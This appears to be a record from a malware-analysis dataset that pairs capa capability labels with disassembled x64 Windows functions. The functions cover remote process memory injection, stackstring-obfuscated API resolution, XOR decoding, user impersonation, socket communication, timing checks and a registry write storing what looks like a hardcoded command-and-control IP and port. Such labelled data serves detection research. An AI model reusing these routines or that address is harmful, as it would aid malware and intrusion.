joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180011d18
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov ecx, 0x2c
mov rdi, rdx
call fcn.180018664
mov ecx, 0x2b
movzx ebx, ax
call fcn.180018664
cmp ax, bx
je 0x180011d82
mov ecx, 0x2c
call fcn.180018664
lea r9, [rsp + 0x40]
mov rdx, rdi
movzx r8d, ax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180011d82
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x11
mov edx, eax
call fcn.18000db60
xor eax, eax
jmp 0x180011d87
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180011ffc
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r14, rcx
xor ebx, ebx
mov edi, r9d
lea ecx, [rbx + 0x2d]
mov r12, r8
call fcn.1800185dc
lea ecx, [rbx + 0x2b]
mov ebp, eax
cmp edi, eax
cmova ebp, edi
mov r15d, ebp
call fcn.180018664
mov r9d, 0x3000
movzx eax, ax
mov r8d, ebp
xor edx, edx
mov rcx, r14
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x180012074
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x1f]
mov edx, ebp
mov r8d, eax
call fcn.18000db6c
xor eax, eax
jmp 0x18001211e
test edi, edi
jle 0x1800120b5
movsxd rcx, ebx
mov eax, edi
sub eax, ebx
lea r8, [rcx + r12]
lea rdx, [rcx + rsi]
movsxd r9, eax
lea rax, [rsp + 0x88]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180012104
mov eax, dword [rsp + 0x88]
add ebx, eax
test eax, eax
je 0x18001206d
cmp ebx, edi
jl 0x180012078
mov edi, 0x2c
mov ecx, edi
call fcn.180018664
lea ecx, [rdi - 1]
movzx ebx, ax
call fcn.180018664
cmp ax, bx
je 0x18001211b
mov ecx, edi
call fcn.180018664
mov r8, r15
mov rdx, rsi
movzx r9d, ax
lea rax, [rsp + 0x30]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x18001211b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi - 0x1b]
jmp 0x18001210f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x10
mov edx, eax
call fcn.18000db60
jmp 0x18001206d
mov rax, rsi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x180013968
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
test r8d, r8d
jne 0x18001397a
lea eax, [rbx + 1]
jmp 0x18001398b
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x180013b5c
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rcx
mov ecx, 0x494
call fcn.180013d24
mov edx, 0x94
mov rcx, rax
mov rbp, rax
call fcn.180013e78
mov r13d, 0x100
mov rcx, rbp
mov edx, r13d
mov r14, rax
call fcn.180013e78
mov edx, r13d
mov rcx, rbp
mov rsi, rax
call fcn.180013e78
mov edx, r13d
mov rcx, rbp
mov r15, rax
call fcn.180013e78
mov edx, r13d
mov rcx, rbp
mov r12, rax
call fcn.180013e78
lea rdx, [rsp + 0x70]
mov rcx, r12
mov dword [rsp + 0x70], r13d
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rsp + 0x70]
mov rcx, r15
mov dword [rsp + 0x70], r13d
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edx, r13d
mov rcx, rbx
call fcn.18000e4ec
mov r8d, 0x100
mov rdx, rbx
xor ecx, ecx
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180013c39
mov edx, 0x5c
mov rcx, rbx
call fcn.18001bed0
mov rbx, rax
test rax, rax
je 0x180013c39
inc rbx
jne 0x180013c40
lea rbx, [0x18002c832]
mov rcx, r14
mov dword [r14], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [r14 + 4]
mov rcx, rdi
mov dword [0x180047720], eax
mov dl, byte [r14 + 4]
call fcn.18000d7b0
mov dl, byte [r14 + 8]
mov rcx, rdi
call fcn.18000d7b0
movzx edx, word [r14 + 0xc]
mov rcx, rdi
call fcn.18000d848
mov rdx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
sar rdx, 0x20
call fcn.18000d818
mov edx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rdi
call fcn.18000d818
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
call fcn.18000d818
mov edx, r13d
mov rcx, rdi
call fcn.18000d818
lea r8, str._s_t_s_t_s
mov r9, r15
mov edx, 0x100
mov rcx, rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
call fcn.18001a0cc
or rax, 0xffffffffffffffff
inc rax
cmp byte [rsi + rax], 0
jne 0x180013cde
mov ecx, 0x3a
mov rdx, rsi
cmp eax, ecx
cmovg eax, ecx
mov rcx, rdi
mov r8d, eax
call fcn.18000d7d0
mov rcx, rbp
call fcn.180013e0c
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18001450c
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov ebx, 1
mov edi, r8d
mov esi, edx
mov dword [rax + 0x20], ebx
mov ebp, ecx
call fcn.18000e544
lea r15d, [rbx + 1]
xor r8d, r8d
mov edx, ebx
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
or r14, 0xffffffffffffffff
mov rbx, rax
cmp rax, r14
jne 0x18001455b
mov rax, r14
jmp 0x1800145c4
movzx ecx, si
mov word [rsp + 0x20], r15w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x68]
mov edx, 0x8004667e
mov rcx, rbx
mov dword [rsp + 0x24], ebp
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, r14d
jne 0x180014596
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x180014556
lea rdx, [rsp + 0x20]
mov r8d, 0x10
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
cmp eax, r14d
je 0x18001458e
mov edx, edi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, r14d
jne 0x1800145c1
mov rcx, rbx
jmp 0x18001458e
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x18001462c
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call fcn.180014674
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0xdac]
mov rcx, rbx
call fcn.180014994
test eax, eax
jle 0x180014660
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x18001464a
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x180014aa0
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x18003f3f0]
xor edi, edi
test rbx, rbx
je 0x180014b3e
mov eax, dword [rbx + 4]
test eax, eax
jne 0x180014ad1
cmp dword [rbx + 0xc], eax
jne 0x180014ada
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x180014ab3
test eax, eax
jne 0x180014ad1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x180014ad1
cmp dword [rbx + 0x10], 0
jne 0x180014b03
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180014b17
cmp dword [rbx + 0x10], 2
je 0x180014ad1
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x180014b32
mov qword [rdi + 0x28], rax
call fcn.180019cd8
mov rbx, qword [rdi + 0x28]
jmp 0x180014ab3
mov qword [0x18003f3f0], rax
call fcn.180019cd8
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180017374
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x80
mov byte [rsp + 0x28], 0x6b
mov byte [rsp + 0x29], 0x65
mov byte [rsp + 0x2a], 0x72
mov byte [rsp + 0x2b], 0x6e
mov byte [rsp + 0x2c], 0x65
mov byte [rsp + 0x2d], 0x6c
mov byte [rsp + 0x2e], 0x33
mov byte [rsp + 0x2f], 0x32
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x38], 0x4c
mov byte [rsp + 0x39], 0x6f
mov byte [rsp + 0x3a], 0x61
mov byte [rsp + 0x3b], 0x64
mov byte [rsp + 0x3c], 0x4c
mov byte [rsp + 0x3d], 0x69
mov byte [rsp + 0x3e], 0x62
mov byte [rsp + 0x3f], 0x72
mov byte [rsp + 0x40], 0x61
mov byte [rsp + 0x41], 0x72
mov byte [rsp + 0x42], 0x79
mov byte [rsp + 0x43], 0x41
mov byte [rsp + 0x44], 0
mov byte [rsp + 0x58], 0x4c
mov byte [rsp + 0x59], 0x6f
mov byte [rsp + 0x5a], 0x61
mov byte [rsp + 0x5b], 0x64
mov byte [rsp + 0x5c], 0x4c
mov byte [rsp + 0x5d], 0x69
mov byte [rsp + 0x5e], 0x62
mov byte [rsp + 0x5f], 0x72
mov byte [rsp + 0x60], 0x61
mov byte [rsp + 0x61], 0x72
mov byte [rsp + 0x62], 0x79
mov byte [rsp + 0x63], 0x45
mov byte [rsp + 0x64], 0x78
mov byte [rsp + 0x65], 0x41
mov byte [rsp + 0x66], 0
mov byte [rsp + 0x48], 0x56
mov byte [rsp + 0x49], 0x69
mov byte [rsp + 0x4a], 0x72
mov byte [rsp + 0x4b], 0x74
mov byte [rsp + 0x4c], 0x75
mov byte [rsp + 0x4d], 0x61
mov byte [rsp + 0x4e], 0x6c
mov byte [rsp + 0x4f], 0x41
mov byte [rsp + 0x50], 0x6c
mov byte [rsp + 0x51], 0x6c
mov byte [rsp + 0x52], 0x6f
mov byte [rsp + 0x53], 0x63
mov byte [rsp + 0x54], 0
mov byte [rsp + 0x68], 0x56
mov byte [rsp + 0x69], 0x69
mov byte [rsp + 0x6a], 0x72
mov byte [rsp + 0x6b], 0x74
mov byte [rsp + 0x6c], 0x75
mov byte [rsp + 0x6d], 0x61
mov byte [rsp + 0x6e], 0x6c
mov byte [rsp + 0x6f], 0x50
mov byte [rsp + 0x70], 0x72
mov byte [rsp + 0x71], 0x6f
mov byte [rsp + 0x72], 0x74
mov byte [rsp + 0x73], 0x65
mov byte [rsp + 0x74], 0x63
mov byte [rsp + 0x75], 0x74
mov byte [rsp + 0x76], 0
lea rcx, [rsp + 0x28]
mov rax, qword [rsp + 0x90]
call qword [rax]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x90]
call qword [rax + 8]
mov rcx, qword [rsp + 0x90]
mov qword [rcx + 0x10], rax
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x90]
call qword [rax + 8]
mov rcx, qword [rsp + 0x90]
mov qword [rcx + 0x18], rax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x90]
call qword [rax + 8]
mov rcx, qword [rsp + 0x90]
mov qword [rcx + 0x20], rax
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x90]
call qword [rax + 8]
mov rcx, qword [rsp + 0x90]
mov qword [rcx + 0x28], rax
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 9
rep stosb byte [rdi], al
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 0xd
rep stosb byte [rdi], al
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0xf
rep stosb byte [rdi], al
lea rax, [rsp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0xd
rep stosb byte [rdi], al
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xf
rep stosb byte [rdi], al
add rsp, 0x80
pop rdi
ret
Function at 0x180018694
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x40
mov qword [0x180047710], rcx
mov ebx, 0x800
mov ecx, ebx
call fcn.180019d18
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov qword [0x180047718], rax
call fcn.180019fc0
xor r15d, r15d
lea rbp, [0x18003c030]
mov eax, r15d
xor byte [rax + rbp], 0x2e
inc rax
cmp rax, 0x1000
jl 0x1800186e1
lea rcx, [rsp + 0x20]
mov r8d, 0x1000
mov rdx, rbp
call fcn.180013e30
jmp 0x1800187ae
lea rcx, [rsp + 0x20]
call fcn.180013edc
lea rcx, [rsp + 0x20]
movsx ebx, ax
call fcn.180013edc
mov rcx, qword [0x180047718]
movsx rdi, di
mov edx, ebx
movzx esi, ax
shl rdi, 4
mov word [rdi + rcx], bx
dec edx
je 0x180018798
dec edx
je 0x180018781
dec edx
jne 0x1800187ae
movsx rbx, ax
mov rcx, rbx
call fcn.180019d18
mov rdx, qword [0x180047718]
lea rcx, [rsp + 0x20]
mov qword [rdi + rdx + 8], rax
movsx edx, si
call fcn.180013e78
mov rcx, qword [0x180047718]
mov r8, rbx
mov rcx, qword [rdi + rcx + 8]
mov rdx, rax
call fcn.18001a3b0
jmp 0x1800187ae
lea rcx, [rsp + 0x20]
call fcn.180013e40
mov rcx, qword [0x180047718]
mov dword [rdi + rcx + 8], eax
jmp 0x1800187ae
lea rcx, [rsp + 0x20]
call fcn.180013edc
mov rdx, qword [0x180047718]
mov word [rdi + rdx + 8], ax
lea rcx, [rsp + 0x20]
call fcn.180013edc
movzx edi, ax
test ax, ax
jg 0x180018708
xor edx, edx
mov r8d, 0x1000
mov rcx, rbp
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r15
jmp fcn.180019fc0

Function at 0x18001900c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
or rsi, 0xffffffffffffffff
mov rdi, rdx
mov rbx, rcx
lea edx, [rsi + 0x19]
lea r9d, [rsi + 5]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [r14 + 0x10], rax
call fcn.180019184
mov r8, qword [0x180043438]
test r8, r8
je 0x180019081
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r9, r14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop r14
ret

Function at 0x18001909c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov esi, 1
mov rdi, rcx
mov rbx, rdx
add dword [0x180043430], esi
lea ecx, [rsi + 0x26]
call fcn.180018664
cmp ax, si
jne 0x1800190d6
mov rdx, rbx
mov rcx, rdi
call fcn.18001900c
jmp 0x1800190f1
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r9, rbx
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x180019104
Capabilities:
Create thread
Terminate process

Disassembly:
sub rsp, 0x38
mov ecx, 0x37
call fcn.180018664
mov ecx, 0x27
cmp ax, 1
jne 0x18001913e
call fcn.180018664
cmp ax, 1
jne 0x180019135
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180019128
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
call fcn.180018664
cmp ax, 1
jne 0x180019179
mov r8, qword [sym.imp.KERNEL32.dll_ExitProcess]
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
add rsp, 0x38
jmp qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1800194f0
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, [rbp + 0x20]
lea rcx, [rbp + 0x18]
mov r9d, 0x220
mov qword [rsp + 0x50], rax
and dword [rsp + 0x48], 0
and dword [rsp + 0x40], 0
and dword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r8d, 0x20
mov dl, 2
mov dword [rbp + 0x18], 0
mov word [rbp + 0x1c], 0x500
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rbp + 0x10], eax
test eax, eax
je 0x180019570
mov rdx, qword [rbp + 0x20]
lea r8, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
neg eax
sbb ecx, ecx
and dword [rbp + 0x10], ecx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rbp + 0x10]
add rsp, 0x60
pop rbp
ret
Function at 0x180019578
Capabilities:
Impersonate user

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbp, r9
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
call fcn.18001932c
lea rax, [0x180043440]
mov qword [rsp + 0x28], rax
mov r9d, 9
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
mov dword [rsp + 0x20], 3
call qword [sym.imp.ADVAPI32.dll_LogonUserA]
test eax, eax
jne 0x1800195e1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x18
mov edx, eax
call fcn.18000db60
jmp 0x1800196ce
mov rcx, qword [0x180043440]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x1800195ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x19
jmp 0x1800195d5
mov ecx, 0x800
call fcn.180013d24
mov edx, 0x200
mov rcx, rax
mov qword [0x180043460], rax
call fcn.180013e78
mov rcx, qword [0x180043460]
mov edx, 0x200
mov qword [0x180043448], rax
call fcn.180013e78
mov rcx, qword [0x180043460]
mov edx, 0x400
mov qword [0x180043450], rax
call fcn.180013e78
mov rdx, qword [0x180043450]
mov r8d, 0x100
mov rcx, rbx
mov qword [0x180043458], rax
call fcn.18000f03c
mov rdx, qword [0x180043448]
mov r8d, 0x100
mov rcx, rsi
call fcn.18000f03c
mov rdx, qword [0x180043458]
mov r8d, 0x200
mov rcx, rdi
call fcn.18000f03c
mov rcx, qword [0x180043440]
mov r8d, 0x400
mov rdx, rbx
mov dword [0x180043468], 1
call fcn.1800197c0
test eax, eax
je 0x1800196ce
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rbx + rdx], 0
jne 0x1800196ba
mov r8d, 0xf
mov rcx, rbx
call rbp
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x1800199f4
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov esi, r8d
mov rdi, rdx
mov rbp, rcx
test r8d, r8d
je 0x180019a4e
xor r9d, r9d
mov edx, ebx
mov rcx, rbp
lea r8d, [r9 + 1]
add rdx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x180019a4e
add ebx, eax
cmp ebx, 2
jb 0x180019a4a
lea eax, [rbx - 1]
cmp byte [rax + rdi], 0xa
jne 0x180019a4a
lea eax, [rbx - 2]
cmp byte [rax + rdi], 0xd
je 0x180019a66
cmp ebx, esi
jb 0x180019a18
or eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
lea ecx, [rbx - 2]
mov eax, ebx
mov byte [rcx + rdi], 0
jmp 0x180019a51

Function at 0x18001af20
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.18001ad88

Function at 0x180022a10
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x180022a26
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180022a28
xor eax, eax
test eax, eax
je 0x180022a38
mov ecx, eax
call fcn.18001c44c
or eax, 0xffffffff
jmp 0x180022a3a
xor eax, eax
add rsp, 0x28
ret
Function at 0x140002920
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140002944
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140002987
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x140002987
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x140002a92
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400029ca
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400029d9
movsx ecx, dil
jmp 0x140002a33
lea r8, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x41]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x98]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x40]
call qword [rax + 0x38]
test eax, eax
js 0x140002a92
cmp eax, 1
jle 0x140002a4d
cmp eax, 3
jne 0x140002a92
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call fcn.14004e7e0
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002a97
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x140002a7d
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call fcn.1400514ac
cmp rsi, rax
jne 0x140002a92
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov eax, edi
jne 0x140002a97
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret

Function at 0x140003370
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140003422
cmp byte [rcx + 0x71], 0
je 0x140003422
mov rax, qword [rcx]
mov edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400033d2
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
je 0x1400033df
sub eax, 1
je 0x1400033e3
sub eax, 2
je 0x140003422
xor al, al
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x140003410
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call fcn.1400514ac
cmp rdi, rax
jne 0x1400033d2
cmp byte [rbx + 0x71], 0
sete al
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov rbx, qword [rsp + 0x68]
mov al, 1
add rsp, 0x50
pop rdi
ret
Function at 0x140048170
Capabilities:
Delete registry value
Set registry value

Disassembly:
sub rsp, 0x168
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.14004c600
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, byte [0x140117aa0]
lea rdx, str.Console
movsd xmm0, qword [str.SelfPath]
mov r9d, 0x20006
mov byte [rsp + 0x48], al
xor r8d, r8d
movzx eax, word [0x140117b00]
mov rcx, 0xffffffff80000001
mov word [rsp + 0x38], ax
movzx eax, byte [0x140117b02]
mov byte [rsp + 0x3a], al
lea rax, [rsp + 0x170]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov qword [rsp + 0x20], rax
movsd qword [rsp + 0x30], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400482af
mov rcx, qword [rsp + 0x170]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x170]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x170]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 0x104
lea rdx, [rsp + 0x40]
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:23.248.217.193p:5689
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], 0
jne 0x140048270
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x168
ret